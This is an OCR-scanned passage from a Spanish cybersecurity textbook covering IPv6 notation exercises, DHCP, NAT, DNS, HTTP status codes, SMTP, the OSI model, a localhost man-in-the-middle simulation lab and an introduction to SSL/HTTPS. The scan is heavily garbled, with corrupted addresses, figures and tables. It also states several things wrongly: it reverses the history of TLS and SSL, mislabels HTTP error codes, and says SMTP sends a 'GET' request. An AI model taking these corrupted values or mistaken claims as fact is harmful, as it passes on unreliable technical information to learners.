Un hexteto consiste en cuatro hexadecimales o 16 bits, por ejemplo: 


Tabla 2.13 Hextetos 


Hexteto 


0db8 


0000 1101 1011 1000 


Ell Ejercicio 1 
Escribe el siguiente hexteto en el sistema binario: 


3ffe 


Escribe el siguiente hexteto en el sistema binario: 


0ad2 


Una dirección IPv6 es una de 128 bits y consta de 8 hextetos separados por dos puntos 
(:). Por ejemplo: 


2001:0db8:aaaa:1111:0000:0000:0000:0100 


A continuación, vemos una dirección IPv6 completa en 8 hextetos: 


1 2 3 4 
2001: Odbg8: aaaa: 1111: 

0010 | 0000 |o000 | 0001 |o000 | 101 | 10m | 1000 | 1010 | 1010 | 1010 | 1010 | 0001 | 0001 | 0001 | 0001 
S5 6 7 8 
0000: 0000: 0000: 0100 

0000 | 0000 | 0000 | 0000 | 0000 | oooo0 | oooo | oooo | oooo | oooo | oooo | 0000 | 0000 | 0001 | 0000 | 0000 
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Regla 1 de IPv6 


Existen reglas para escribir direcciones IPv6 que las simplifican, la primera de ellas dice: 
“No tenemos que anotar los ceros iniciales” 

Por ejemplo en la siguiente dirección: 
3 ffe:0404:0001:1000:0000:0990:0ef0:bc00 

Podemos omitir los ceros a la izquierda de la siguiente manera: 
3ffe:90404:0001:1000:0000:0000:0€ef0:bc00 

Después de la optimización, se observa así: 

3ffe:404:1:1000:0:0:ef0:bc00 
Eli Ejercicio 2 
Optimiza las siguientes direcciones IPv6: 


2001:0ef0:0 db8:3ffe:0000:0000:00fe :0001 


31f2:00ff:0d10:4323:0001:0010:0afe :0001 


Regla 2 de IPvó 


La segunda regla dice: 
“No tenemos que escribir un hexteto que consta de ceros” 
Escribes :: en lugar de los ceros. Por ejemplo, en la siguiente dirección: 
2001:0db8:aaaa:1111:0000:1100:0ef0:0100 
Puedes hacer lo siguiente: 
2001: 9db8:aaaa:1111:00900:1100:0ef0:0100 
La optimización resulta como sigue: 


2001:db8:aaaa:1111::1100:ef0:100 


Gabriel Sánchez Cano Seguridad cibernética: Hackeo ético y programación defensiva 23 


Capítulo 2 Arquitectura de Internet Â Alfaomega 


Ell Ejercicio 3 
Optimizar las siguientes direcciones IPv6: 


3ffe:0404:001:1000:0010:0000:0ef0:bc00 


3ffe:04dd:1111:0000:00ca:0100:0ef0:0001 


Regla 3 de IPvó 


Sólo podemos usar una vez :: por dirección IP. La siguiente dirección IP: 
2001:0d02:00a0:0000:edal:00ef:0000:0095 
la podemos escribir de la siguiente manera: 


2001:0d02:0040:090909:eda1:00ef:0000:0095 
2001:d02:a0:: edal:ef:0:95 


O como: 


2001:0d02:0030:0000:eda1:00ef:9000:0095 
2001:d02:a0:0:edal:ef:: 95 


Ell Ejercicio 4 
Optimizar las siguientes direcciones IPv6 con dobles dos puntos. 


3ffe:1111:0000:0000:1111:cafe:ef 0:1 


ffe:0000:0000:1111:0000:0000:ef0:1 


Escribe las siguientes direcciones IPv6 en su totalidad: 


ffe:2001:0:101::10:ef:1 


IN 
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ffe:2001:0:1a::afe:efO:1 


Regla 4 de IPv6 


Podemos desoptimizar una dirección IPv6 ya optimizada. Por ejemplo, la siguiente dirección: 
2001:0:10:100:1000:cd:ad:101 
podemos desoptimizar de la siguiente manera: 
2001:0000:0010:0100:1000:00ca:00ad:0101 
Eli Ejercicio 5 
Desoptimiza las siguientes direcciones IPv6: 


3 ffe:9:1:1000:0:cafe:ef 0:1 


ffe:3e:la:labc:face:0:ef0:1 


Regla S de IPvó 


Escribimos hextetos consecutivos con ceros y dobles dos puntos. Por ejemplo, en la si- 
guiente dirección IP: 


ff02:0000:0000:0000:0000:06a0:0500:0001 
podemos hacer lo siguiente: 
ff02:0000:0000:0000:0000: 06a0: 0500:0901 
y escribir lo siguiente: 
ff02::6a0:500:1 
Eli Ejercicio 6 
Optimizar la próxima dirección IPv6: 


3 ffe:0404:0000:0000:0000:0000:0ef0:bc 00 


A 
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2.2.7 ID de la red y del host 
En IPv4 podemos identificar el ID de la red por la máscara de subred o el número de bits, 
por ejemplo: 

255.255.255.0 0/24 
En IPv6 identificamos la ID de la red sólo por el número de bits, por ejemplo: 

3ffe:1944:100:a::1/64 
Podemos dar de baja la dirección de la siguiente manera: 

3ffe:1944:0100:000a:0000:0000:0000:0001 
En este caso, la ID de red consta de los primeros 64 bits y la del host de los segundos 
64 bits: 
3ffe:1944:0100:000a es la ID de la red 
0000:0000:0000:0001 es la ID del host 
Aquí tenemos un segundo ejemplo: 
2001::1/96 
En este caso, la ID de la red tiene 96 bits de largo y la del host es de 32 bits: 
2001:0:0:0:0:0 es la ID de la red 

0:1 es la ID del host 

LABORATORIO 2.3 /Pv6 11 
Encuentra la ID de la red y la del host de las direcciones IPv6 dadas. 


IPv6 2001:1/80 


En este caso, la ID de la red consta de bits y la del host de bits. 
La ID de la red es: 
La ID del host es: 


IPv6 2001::1/16 


En este caso, la ID de la red consta de bits y la del host de bits. 
La ID de la red es: 
La ID del host es: 
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2.3 + Componentes del enrutador 


El enrutador de una red realiza diferentes funciones. En las siguientes secciones observa- 
mos los componentes del enrutador: 


+ Protocolo de control de host dinámico (DHCP) 
+ Firewalls 
+ Traducción de direcciones de red (NAT) 


2.3.1 Protocolo de control del host dinámico (DHCP) 


Los enrutadores están equipados con un servidor DHCP el cual se encarga de distribuir 
direcciones IP estáticas y dinámicas a las computadoras en su red. Una dirección IP diná- 
mica es aquélla que se alquila temporalmente a una computadora en la red, la duración 
del contrato puede ser de horas o días. El servidor DHCP conoce la serie de direcciones 
IP dinámicas posibles. Por otro lado, una dirección estática es la del enrutador (compuer- 
ta). Todos los enrutadores tienen una dirección estática. 


Direcciones IP dinámicas 


Las direcciones dinámicas se alquilan dentro de una red de equipos, tales como compu- 
tadoras, servidores e impresoras para que puedan comunicarse entre sí. 


Para las direcciones IP dinámicas por red o subred utilizamos tres, así llamadas series 
de direcciones privadas: 


Tabla 2.14 Direcciones IP privadas dinámicas 


Series De A 
1 10.0.0.0 10.255.255.255 
2 17216.0.0 172.31.255.255 
3 192.168.0.0 192168.255.255 
2.3.2 Firewalls 


Un firewall es parte del enrutador, opera entre las redes privadas e Internet. Los firewalls 
se pueden configurar por medio de reglas para bloquear o permitir la comunicación con 
otras redes; por ejemplo, al permitir la comunicación bidireccional mediante el puerto 80. 


Otra regla señala que puede permitir a un servidor SQL se comunique desde una di- 


rección IP remota con una interna específica a través del puerto 1433. Sin embargo, otra 
regla puede, por ejemplo, bloquear la comunicación a través de puertos de riesgo. 
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Ejemplos de firewalls son: 


CheckPoint 

Cisco PIX 

SonicWall 

Contivity 

Linksys (red doméstica) 


+ è% è . + 


Los firewalls también realizan la traducción de direcciones de red (NAT). 


2.3.3 Traducción de direcciones de red (NAT) 


A cada computadora de una red privada se le asigna una dirección dinámica mediante 
DHCP; todos los equipos dentro de la red se comunican entre sí por medio de estas 
direcciones. Pero para comunicarse con Internet se necesita una IP pública. NAT es el 
proceso por el que una, cien o mil computadoras de una red privada usan una dirección 
IP pública única (la dirección del enrutador) para tener acceso a Internet. 


En la siguiente figura, vemos que en el momento en que la laptop en la red 2 se conectó 
al enrutador, el DHCP de éste creó la dirección IP dinámica 172.16.0.3 para la computadora. 


Firewall/NAT Firewall /NAT 
Red 1 95.98.10.0 85.113.224.0 Red 2 
192.1688.3 19216881 19216880 1721600 1721601 1721602 
L servidor DHCP servidor DHCP z y 
æ a Q 
192.168.8.4 172.16.0.4 172.160.3 


Figura 2.5 DHCP y NAT 


Cuando la laptop 172.16.0.3 en la red 2 envía una solicitud a la red 1, se lleva a cabo una 
traducción de direcciones de red (NAT), de modo que la solicitud se ejecuta a través del 
enrutador 172.16.0.0. Cuando la respuesta de la red 1 vuelve al enrutador, el protocolo NAT 
sabe que la respuesta es para la laptop 172.16.0.3. El papel del protocolo NAT es enviar la 
respuesta al solicitante correcto. 


LABORATORIO 2.4 Firewalls 2 


Crear la topografía del Laboratorio 2.2 para añadirle firewalls. 
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2.4 Sistema de nombre de dominio (DNS) 


2.3.4 Direcciones IP públicas reservadas 


Los proveedores de Internet ya han reservado direcciones IP públicas que arrendan a 
sus clientes. En la siguiente tabla vemos ejemplos de direcciones reservadas por dos 
proveedores. 


Tabla 2.15 Direcciones IP públicas reservadas 


De | A | Número | Proveedor | Fecha 
85113.224.0 | 85113.255.255 | 8192 | KPN | 15-12-2005 
95.98.0.0 | 95.99.255.255 | 131072 | T-Mobile | 12-01-2009 


2.4 + Sistema de nombre de dominio (DNS) 


El DNS tiene la función principal de traducir nombres de dominio a las direcciones IP 
públicas correspondientes; se trata de un componente esencial de la funcionalidad de 
Internet. Los servidores DNS tienen una base de datos como se ve en la siguiente tabla: 


Tabla 2.16 Base de datos DNS 


Nombre de dominio | Dirección IP pública 
www.kpn.nl 145.7170135 


www.tmobile.nl | 80.79.204.8 
| 173194.39.78 


www.google.com 


Hay servidores DNS para los dominios .com, .net, .edu, .org, y así sucesivamente. En 
la actualidad, existen 53.895 servidores DNS en 205 países. En la siguiente figura se 
observa cómo los servidores DSN traducen el nombre de dominio google.com a la di- 
rección IP correcta. 


| 
| 


servidor 


i 
o 
z 
È 
E 
o 


servidor 


E 


O 173.194.39.78 
ö 
3 
È 
ALE 
servidor de Google 


Figura 2.6 Servidores DNS 
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Cuando tecleas google.com en tu navegador, te conecta a uno de los servidores DNS. 
El servidor traduce google.com a 173194.39.78 y se conecta a google.com. También 
puedes teclear 173194.39.78 pero google.com es más fácil de recordar. 


DNS spoofing (suplantación DNS) 


La suplantación DNS es una piratería informática que utiliza la memoria caché de resolu- 
ción DNS del servidor DNS. El pirata informático irrumpe en un servidor DNS y corrompe 
la memoria caché de resolución DNS con una dirección IP incorrecta de su propiedad. El 
tráfico de red se redirige a la computadora del hacker. 


Sistema de nombres de dominio de la intranet (DNS) 


Una red, como una Intranet, debe tener su propio registro DNS para traducir los nombres 
de dominio (aplicaciones web) a las direcciones IP. En la siguiente figura, vemos un servi- 
dor de Intranet con un servidor DNS. 


Internet a 


4 El 
e 
j Intranet Fa 


A 

/ af 
seas ja 
W E 


Figura 2.7 Servidor DNS de Intranet 


2.5 + HITP 


El Protocolo de Transferencia de Hipertexto, abreviado HTTP, es uno tipo cliente-servidor 
de respuesta solicitada asimétrica para el transporte de documentos; por ejemplo, para 
páginas web y videos dentro de Internet. HTTP usa IP y TCP para hacer ese traslado, de 
modo que se puede citar: HTTP (sobre TCP/IP). Ya hemos estudiado TCP e IP en las sec- 
ciones 1.3 y 1.4, pero aquí se muestra nuevamente la tabla con los protocolos: 


Tabla 2.17 Protocolos 


Aplicación Protocolo Transporte 
e-mail SMTP TCP 
Web HTTP/HTTPS TCP 
Transferencia de archivos FTP TCP 
Nombre del servidor de dominio DNS UPD 
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2.5.1 Localizador uniforme de recursos (URL) 


HTTP usa un URL (Localizador Uniforme de Recursos). URL es el esquema de direccio- 
namiento para documentos en Internet y tiene el siguiente formato: protocolo://dominio/ 
documento 


Por ejemplo, cuando solicitas tu horario escolar, tecleas: http://www.escuela.com/ho- 
rario.html 


HTTP comienza con un “apretón de manos” de tres vías (apretón de manos TCP) que 
establece una conexión entre el navegador y el servidor de la siguiente manera: 


SYNC/ACK & 


ACK 
x conexión 


Figura 2.8 Protocolo de control de transmisión “apretón de manos” 


El navegador y el servidor primero deben intercambiar paquetes SYNC y ACK antes de 
establecer una conexión. 


El siguiente diagrama de secuencia UML describe cómo funciona HTTP: 


servidor DNS 


http://www.escuela.com 


1 
202.54.158.131 3 


inicia apretón de mano SYNC 


confirma contacto SYNC/ACK 2 


inicia conexión 


servidor escuela 


TCP 


solicitud HTTP GET horario.html 


respuesta HTTP 200 + horario.html en 10 paquetes 


IP 


Il 


recursos 


horario.html 


10 paquetes recibidos. Transacción completa 


E 
y 


Figura 2.9 Diagrama de secuencia de HTTP 
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A continuación, una explicación de HTTP: 


+ Teclear el URL del horario en el servidor de la escuela, por ejemplo http://www. 
escuela.com/horario.html 


+ El servidor DNS busca y proporciona la dirección IP correspondiente del 
nombre del dominio www.escuela.com, por ejemplo: 202.54.158.131. 


+ TCP establece una conexión entre la dirección IP de la computadora y la del 
servidor de la escuela utilizando el protocolo de enlace (handshake) TCP. 


+ HTTP envía una solicitud GET para el recurso horario.html. 


+ El servidor de tu escuela busca el documento solicitado www.escuela.com/ 
horario.html 


+ Cuando se encuentra el documento, el servidor de la escuela envía la respuesta 
200 (esto significa que se encontró el documento) y se envía horario.html. 


+ Sino está el documento, el servidor de la escuela envía la respuesta 400 (esto 
significa que el documento no se encuentra). 


Encabezados HTTP 


HTTP usa encabezados para cada solicitud y cada respuesta; hay cuatro de ellos: 


General: información general sobre solicitud y respuesta 

Solicitud: información sobre el documento que se pide 

Respuesta: información sobre el servidor y el documento que se entregará 
Entidad: por ejemplo, contenido y longitud del documento entregado 


+ è . + 


Código de estado HTTP 


A continuación se pueden ver los posibles códigos de estado de una solicitud HTTP: 


+ 200: recurso entregado con éxito 

+ 201: recurso creado 

+ 300: redirección 
301: recurso movido permanentemente 
302: recurso movido temporalmente 
304: sin cambio 

+ 400: problema con la solicitud 
401: solicitud no autorizada 
403: prohibido, sin acceso 
404: documento no encontrado 
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405: método no permitido 
+ 500: problema con el servidor 


En la siguiente figura vemos un error HTTP 401 si, por ejemplo, ingresamos un URL inco- 


rrecto: 
€)J> C 0% O localhost:8888/blabla 133%) +... Y Y |Q Buscar »|= 


No se puede conectar 


Firefox no pudo establecer una conexión con 
el servidor en localhost:8888. 


e El sitio podría estar temporalmente fuera i 


Figura 2.10 Error de HTTP 401 


2.5.2 Métodos HTTP 


HTTP implementa los siguientes métodos: 


GET 
POST 
PATCH 
PUT 
DELETE 


9 è è è + 


LABORATORIO 2.5 Encabezados HTTP 2 
Teclea lo siguiente y guárdalo como index.php. 


En el siguiente ejemplo, enviamos el formulario a nuestro servidor local utilizando 
el método POST: 


<form name= “ingresar” action= “” method= “POST” > 
<input type= “text” name= “correo” value= “correo@gmail.com” /> 
<input type= “password”? name= “clave” value= “clave” /> 
<input type= “submit” name= “enviar” value= “ingresar” /> 
</form > 
<?php 
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ifCisset($_POST[‘enviar’])) { 
echo “------------ Backend -------- R 
$correo = htmlspecialchars($_POST[‘correo’]); 
$clave = htmlspecialchars($_POST[‘clave’]); 
echo “<br>correo electrónico: $correo”; 
echo “«br>clave: $clave”; 


} 


?> 
Envía los datos del formulario al servidor local. Para ver el tráfico de red en tu navegador, 
haz lo siguiente: 


Teclea CTRL-Alt-E para abrir la pestaña Red del menú del desarrollador. 


En la siguiente figura se observa el encabezado HTTP del código anterior. Haz clic en 
la pestaña HTML y luego en Método. 


+ Selecciona el método POST como se muestra a continuación. 
+ Haz clic en Parámetros para ver los datos en el encabezado HTTP. 


O tocalhost/cberseguridad/sece: X 


e Co Y locahost/ciberseguridad/acceso.php 13% ... Q, Buscar o = 
» 

correo(Sgmail.com G Cons Depura Editor de « Canv. Rendimi lo Red Almacenam Adblock! © X 
seere HTML ES Tipografía | Imágenes | Multimedia q 

Y Persistir rar ceché 

h Otros 
ingresar IRLS g 

e Backend -------- Método - Archivo Dominio Causa Tipomaño 
pene pd l.com acceso.php «calhost document | 3388 

E Una petición 338 B/6258 transferido Finaliz: e DOMContentLoaded: 79 ms 

Encabezados Cookies Parámetros Respuesta ón 
Filtrar parámetros de la solcitud 


w De los datos 


correo: correoS8gmail.com 


clave: 123 
enviar: ingresar 


Figura 2.11 Parámetros del método HTTP POST 


En la siguiente figura, vemos el encabezado HTTP del código anterior. Haz clic en la pes- 
taña HTML y luego en Método. 


+ Selecciona el método POST como se muestra a continuación. 
+ Haz clic en la pestaña Encabezados para ver el encabezado HTTP. 
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¡(000 Herramientas de 


¿fñocahost/ciberseguridad/acceso.php 
(A Ingpec Cons: Depura Editor de  Canv Rendimi Red Almacenar Hacki Adblock Q- BH $ B 
pa MS Tipografía | imágenes | Multimedia” 


Oh Persistir registros Deshabilitar caché 
Filtrar URLs E 
E 3 Método = Archivo Dominio Causa Tipo Transte... Tamaño 


POST acceso.php @ localhost document html 687 B 


(CA ión 340 B / 687 B transferido Finalizar: 24 ms  DOMContentLoaded: 66 ms load: 67 ms 


Encabezados Cookies Parámetros Respuesta Temporización 


URL pedida: http://localhost/ciberseguridad/acceso. php 
Método de la solicitud: POST 


Dirección remota: [::1]:80 
Código del estado: Y 200 OK (O) Editar y reenviar Cabeceras sin procesar 
Versión: HTTP/1.1 
Filtrar encabezados 
» Encabezados de la respuesta (347 B) 
Connection: Keep-Alive | 
Content-Length: 340 | 
Content-Type: text/html; charset=UTF-8 
Date: Thu, 25 Jan 2018 09:23:42 GMT 
Keep-Alive: timeout=5, max=100 
Server: Apache/2.2.31 (Unix) mod_tastc...2 mod_perl/2.0.9 Perl/v5.24.0 
X-Powered-By: PHP/71.1 
Encabezados de la petición (549 B) 
Accept: text/html, appiication/xhtml+xm...plication/xml;q=0.9*/*;q=0.8 
Accept-Encoding: gzip, deflate 
Accept-Language: es,nl;q=0.8,en-US;q=0.5,en;q=0.3 
Connection: keep-alive 


Figura 2.12 Valores de los encabezados de petición y respuesta 


En PHP podemos encontrar nuevamente información del encabezado sobre la solicitud 
en el arreglo $_ SERVER, por ejemplo: 


Dominio: $_SERVER[*HTTP_HOST”] 

Navegador: $_SERVER[ *HTTP_USER_AGENT?] 
Idioma: $_SERVER[ *HTTP_ACCEPT_LANGUAGE ”] 
Encoding: $_SERVER[ *HTTP_ACCEPT_ENCODING?1] 


Dirección IP: $_SERVER[“REMOTE_ADDR”] 


2.6 + Protocolo SMTP 


SMTP es el acrónimo de Simple Mail Transfer Protocol. Este es el protocolo estándar para 
el envío de correos electrónicos del remitente al servidor de correos del recipiente. SMTP 
hace uso de los siguiente puertos: 
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+ Puerto 2525 — es el puerto alternativo sin criptografía 
+ Puerto 465 — es el puerto SMTP con criptografía 


Servidor DNS 


http://www. gmail.com 


1 
192.168.178.1 z 


inicia apretón de mano SYNC 


Servidor G-mail 


confirma contacto SYNC/ACK 


inicia conexión 


SMTP petición GET correo 


SMTP respuesta 250 OK © |) | 


intercambiador 
de correo 


correo 


SMTP 


Figura 2.13 Protocolo SMTP 


En esta figura se realiza una conexión TCP con el servidor de G-mail. Luego, el protocolo 
SMTP realiza un proceso de petición GET para enviar un correo electrónico. Si la petición 
se realiza con éxito, SMTP responde con el código 250 confirmando así el envío del mail. 


2.7 + Modelos OSI y TCP/IP 


Los modelos OSI y TCP/IP describen las diferentes tareas en capas que se requieren 
para conectarse y comunicarse con redes. 


El modelo OSI significa: Open Systems Interconnection (interconexión de sistemas 
abiertos), y se trata de un modelo de referencia; describe las funciones que se deben 
realizar en una determinada capa. 


TCP/IP (protocolo de control de transmisión/protocolo de Internet) es un conjunto de 
protocolos para Internet y para Intranet; utiliza el modelo cliente/servidor, donde un usua- 
rio de la computadora (cliente) solicita un servicio, como una página web suministrada 
por un servidor. 


Los programadores usan el modelo TCP/IP para ver qué protocolos ejecutarán sus 
programas, mientras que los administradores de red usan el modelo OSI para el trouble 
shooting (diagnóstico y solución de problemas de red). OSI y TCP/IP se muestran esque- 
máticamente a continuación. 
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2.7 Modelos OSI y TCP/IP 


Tabla 2.18 Modelo OSI contra modelo TCP/IP 


Modelos OSI y TCP/IP 
Capas del modelo Capas de modelo 
OSI de TCP/IP 
Función Ejemplo 
e Servicios para HTTP, SMTP, DNS, 
(Aplicacion aplicaciones TelNet 
(6) Formato de datos P 
Presentación Cifrado y descifrado PIESE VEN SSL Aplicacion 
i l 
(5) Sesiones Conswulrdesconectar 3 Clase de servicio 
conexión 
Crear y administrar 
(4) Transporte paquetes. de datos TCP, UDP Transporte 
ta Enrutamiento entre redes IP, RIP, OSPF Red 
P | í 
2) reparar el envío de Ethernet, P2P 
paquetes de datos 
Acceso a la red 
P Conexión entre los UTP, fibra óptica, 
(1) Física 


dispositivos 


inalámbrico 


A continuación se explican los modelos OSI y TCP/IP: 


La capa de aplicación es la interface entre el usuario y las aplicaciones, y utiliza aplica- 
ciones como HTTP, SMTP y DNS. 


La capa de presentación se utiliza principalmente para cifrar y descifrar los datos, y 
requiere protocolos HTTPS y SSL (Secure Socket Layer o capa de conexión segura) para 
encriptar páginas web y transportar datos, respectivamente. 


La capa de sesiones inicia, administra y finaliza la conexión entre el cliente y el servi- 
dor. Ésta usa el “apretón de manos” de tres vías para construir la conexión. Durante el in- 
tercambio de los paquetes de datos, la capa de sesiones comprueba si ambos anfitriones 
aún funcionan; por ejemplo, si el servidor web deja de responder, enviará un mensaje de 
error a la aplicación (navegador). 


La capa de transporte divide los datos en bloques más pequeños (paquetes de datos) 
para poder enviarlos. Utiliza UPD y TCP, que a su vez se valen de los números de puerto 
1a 65535; por ejemplo, TCP usa el puerto 80 para HTTP y el puerto 25 para SMTP, mien- 
tras que UPD usa el puerto 53 para DNS. 
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La capa de red utiliza IP para enviar los paquetes de datos del remitente al receptor y 
para enrutarlos por las diferentes redes. 


El enlace de datos y las capas físicas se utilizan para transmitir los paquetes de datos 

a través del medio físico (cobre, fibra óptica o inalámbrico) y son importantes para el ad- 
ministrador de la red, pero menos importantes para el programador. 
LABORATORIO 2.6 Simulación de Man in the Middle 2 
HTTP no es seguro para enviar información confidencial, como contraseñas o números 
de tarjetas de crédito. En la figura 2.11, vemos que los datos del formulario se pueden en- 
contrar en la parte del parámetro del encabezado HTTP. Esta información puede ser vista 
y robada por un ataque de MiM (Man in the Middle u hombre en el centro). 

Un usuario no autorizado puede realizar un ataque MiM para escuchar el tráfico de red 
de otros. Esto puede suceder en redes abiertas, como en Starbucks o en el aeropuerto. 
Ahora vamos a simular un ataque MiM interceptando la petición POST para editar los 
parámetros y reenviarlos. 

+ Paso 1: Envía de nuevo el formulario Ingresar, del laboratorio 2.5. 

+ Paso 2: Abre la ventana Red del navegador. 

+ Paso 3: Selecciona el Método POST. 


+ Paso 4: En la pestaña Encabezados haz clic en el botón Editar y reenviar. 


+ Paso 5: Ahora vas a editar el encabezado interceptado. Cambia, por ejemplo, la 
clave y reenvía el formulario. 
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Criptografía 


Objetivos de aprendizaje 


Al final de este capítulo, deberás dominar el conocimiento y las habilidades 
de los siguientes temas: 


Conocimiento especializado de criptografía 

Aplicaciones de criptografía para asegurar una aplicación 
Biblioteca de encriptado OpenSSL 

Algoritmos o cifras de la encriptación 

HTTPS 
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3.1 + Introducción 


El término criptografía proviene del griego y significa código secreto; ésta consiste en 
ocultar y mantener en secreto la información cifrándola. Llamamos encriptación a esta 
codificación. 


La encriptación garantiza que el texto normal (sin formato), cuando lo envías, sea ile- 
gible para el destinatario (ya sea intencionado o no). Llamamos texto cifrado a la versión 
encriptada del texto sin formato. 


Sólo la persona a quien va dirigido el texto sabe cómo hacer que éste sea legible otra 
vez. A esto último, es decir, a hacerlo legible nuevamente, se le llama descifrado. En lugar 
de utilizar los términos cifrado y descifrado, también utilizamos la antonimia codificación 
y decodificación. 


El cifrado, en su forma más simple, puede ser un acuerdo de antemano sobre las pa- 
labras codificadas. El código puede ser una palabra simple o un algoritmo; también se le 
llama clave. 


Existen dos tipos de criptografía: 


Criptografía simétrica: El remitente y el destinatario acuerdan qué clave secreta se 
utiliza para el cifrado y el descifrado. Debido a que el emisor y el receptor deben compar- 
tir la misma clave, es posible que ésta sea interceptada por los hackers durante 
la comunicación. 


Criptografía asimétrica: Utiliza claves públicas y secretas. Los cifrados con la clave 
pública sólo se pueden descifrar con la contraseña secreta. Aquí es donde el emisor 
y el receptor se comparten sus claves públicas, pero no las secretas. Por ejemplo, el 
remitente encripta un texto con la clave pública del destinatario. El texto cifrado ahora 
sólo se puede descifrar con la clave secreta del destinatario. Es importante considerar 
que las claves secretas nunca se comparten. 


3.2 +» HTTPS y SSL 


En el capítulo 2 se trataron varios protocolos durante el estudio de las capas OSI, incluido 
el protocolo seguro de transferencia de hipertexto (Hypertext Transfer Protocol Secure, 
HTTPS). La S en el protocolo significa que se ha agregado una capa segura con TLS/SSL 
a HTTP. Lo especial de HTTPS es que usa criptografía asimétrica y simétrica. 


En la siguiente figura, vemos una conexión HTTPS con google.com. Aquí se pue- 


de hacer clic en HTTPS en la barra de direcciones para ver información sobre el sitio 
web seguro. 
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G Googe xX 
e C 0 © httos://www.google.nl/?gfe .«” Y | Q Buscar AS 
XA Most Visited @ Gettin l >» 
< a www.google.nl 
Conexión segura 
Gmail 


Verificado por: Google Inc 


Más información 


Google 


Figura 3.1 Conexión segura 


Primero profundizamos en TLS/SSL: la abreviatura TLS significa Transport Layer Security 
(y este es el nombre anterior), mientras que SSL significa Secure Socket Layer. SSL es el 
nuevo nombre y se usa con más frecuencia, aunque a veces se recurre a la combinación 
TLS/SSL. 


3.2.1 SSL 


SSL es la capa adicional que hace segura a una conexión HTTPS; para que SSL funcione 
correctamente, necesitamos una serie de tecnologías: 


Conexión de red TCP/IP entre el servidor y el cliente 

HTTP para enviar archivos 

Autoridad de certificación (CA) para el suministro de certificados digitales para 
servidores 


La determinación de la autenticidad del servidor se ejecuta a través de estos certifica- 
dos digitales. Tu organización solicita el certificado de una autoridad de certificación (CA) 
como Verisign, la cual es confiable y emite autorización digital para identificar servidores 
de Internet registrados. De hecho, este documento asienta que la clave pública, conteni- 
da en el mismo, pertenece a la persona/organización/servidor aludido. 


Se necesita un certificado SSL para una conexión SSL, el cual confirma que el conteni- 
do en la vía entre el servidor y el navegador proviene de un dominio certificado; señala 
que la página está encriptada y es segura, y no puede ser descifrada por un intermediario 
en el camino. 
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Se puede comprar un certificado SSL a alguna de las siguientes autoridades (entre otras): 


+ comodo.com 
+ gogetssl.com 


Al colocar tu certificado en el servidor puedes usar el protocolo TLS, el cual es más segu- 
ro porque el contenido se encripta y se descifra al llegar al navegador. 


Para resumir: utilizamos SSL para la autenticación entre el servidor y el cliente y ade- 
más para encriptar el tráfico de datos. El protocolo SSL proporciona una conexión segura 
HTTPS entre el servidor web y el navegador, mediante el puerto 443. 


El protocolo utiliza convenientemente un apretón de manos (handshake) TLS/SSL, el 
cual se ejecuta con encriptación asimétrica; después, se establece una conexión segura 
con encriptación simétrica. 


3.2.2 Protocolo de enlace (handshake) SSL 


La siguiente figura muestra cómo HTTPS usa un protocolo de enlace SSL. 


se genera clave 


Certificado de G-mail 


simétrica del o 
cliente /. ~ incluye clave pública £ 
encriptar clave simétrica 2 
coo GERON Mà [info] cifrada sobre con la clave 2 
(D-+) =>) -tinfo] clave simétrica privada de G-mail Gre" 
j descifrar clave simétrica 
A fin de apretón de mano TLS ¡DD +[info])=" == 
a 
2 
5 
Q 
= = E 
== — D 


encriptar/descifrar 
con clave simétrica 


Figura 3.2 Ejemplo de un apretón de manos SSL 


Únicamente usamos claves de colores para explicar la diferencia. A continuación se expo- 
ne un ejemplo de apretón de manos SSL y una conexión segura: 


1. Navegas en Gmail. 


2. El servidor Gmail envía el certificado de este sitio, que contiene la clave pública 
de Gmail (roja). 
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3. Tu navegador verifica el certificado de Gmail y la clave pública (roja). 


+ Tu navegador genera una clave simétrica única (blanca) y luego la encripta 
con la clave pública (roja) de Gmail. Tu navegador envía la clave simétrica 
encriptada a Gmail. 


+ Gmail descifra la clave simétrica con su clave privada (negra). El resultado es 
que tu navegador y Gmail tienen ahora la misma clave simétrica (blanca). 


4. Fin del apretón de manos. Inicia una conexión segura. 


5. Toda la comunicación entre tu navegador y Gmail ahora está encriptada y 
descifrada con la compartida clave simétrica (blanca). 


En el paso 2 del protocolo de enlace SSL, tu navegador recibe el certificado del servidor 
de Gmail y lo verifica buscando en su propia lista de aquellos que son confiables. Dirígete 
a la configuración avanzada de tu navegador y haz clic en Privacidad y seguridad, luego 
en el botón Ver certificados para observar una lista de certificados de servidores en tu 
navegador; puedes ver el de Gmail en la parte inferior de la siguiente figura: 


Administrador de certificados 


Sus certificados Personas Servidores Autoridades Otros 


Tienes certificados en el archivo que ¡identifican estos servidores 


Nombre del certificado Servidor Vida útil Expira el 
Digisign Server 1D (Enrich) a Permanente 17 de julo de 2012 
Y The USERTRUST Network 
addons.mozilla.org s Permanente 15 de marzo de 2014 
global trustee ° Permanente 15 de marzo de 2014 
login.live.com e Permanente 15 de marzo de 2014 
login.skype.com " Permanente 15 de marzo de 2014 
logín.yahoo.com y Permanente 15 de marzo de 2014 
login.yahoo.com > Permanente 16 de marzo de 2014 
login.yahoo.com pd Permanente 15 de marzo de 2014 
mail.google.com s Permanente 15 de marzo de 2014 
www.acoale.com z Permanente 15de marzo de 2014 
Ver.. Exportar... Eliminar... Añadir excepción... 


Figura 3.3 Certificados en tu navegador 


Un certificado SSL es un archivo digital con una clave criptográfica e información sobre 
la organización certificada; asimismo, aquél activa el protocolo HTTPS a través del puerto 
443 para una conexión segura entre el servidor web y el navegador. 
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3.2.3 SSL Abierto (OpenSSL) 


OpenSSL es un kit de herramientas criptográficas de código abierto con una biblioteca 
electrónica criptográfica. Puedes encontrar el sitio web de OpenSSL aquí: 


https://www.openssl.org/ 
Los servidores y navegadores usan la biblioteca electrónica de OpenSSL con cifrados 


actuales; éstos son algoritmos de encriptación. Durante el protocolo de enlace SSL, el 
servidor determina qué cifrado se utiliza para el encriptado. 


LABORATORIO 341 Activar el protocolo HTTPS 2 


En este ejercicio de laboratorio llevamos a cabo los pasos para activar el protocolo 
HTTPS para el propio host local en el servidor Apache. 


Paso 1: Registrar DNS del host local 


En cada dominio (aplicación web) se establece un registro con el nombre local- 
host y la dirección IP 127.0.01. Localhost se refiere al servidor actual en una red. 
Este registro es una interfaz loopback para localhost y los desarrolladores lo pue- 
den utilizar para probar sus aplicaciones en su servidor sin una verdadera direc- 
ción IP pública. 


Abrir la ventana de terminal y hacer lo siguiente: 
$ sudo nano /etc/hosts 
Existe un Sudo gratuito para el programa de software Windows con toda la funcio- 
nalidad de los comandos Sudo de Linux; puedes instalarlo para Windows desde el 
siguiente enlace: 


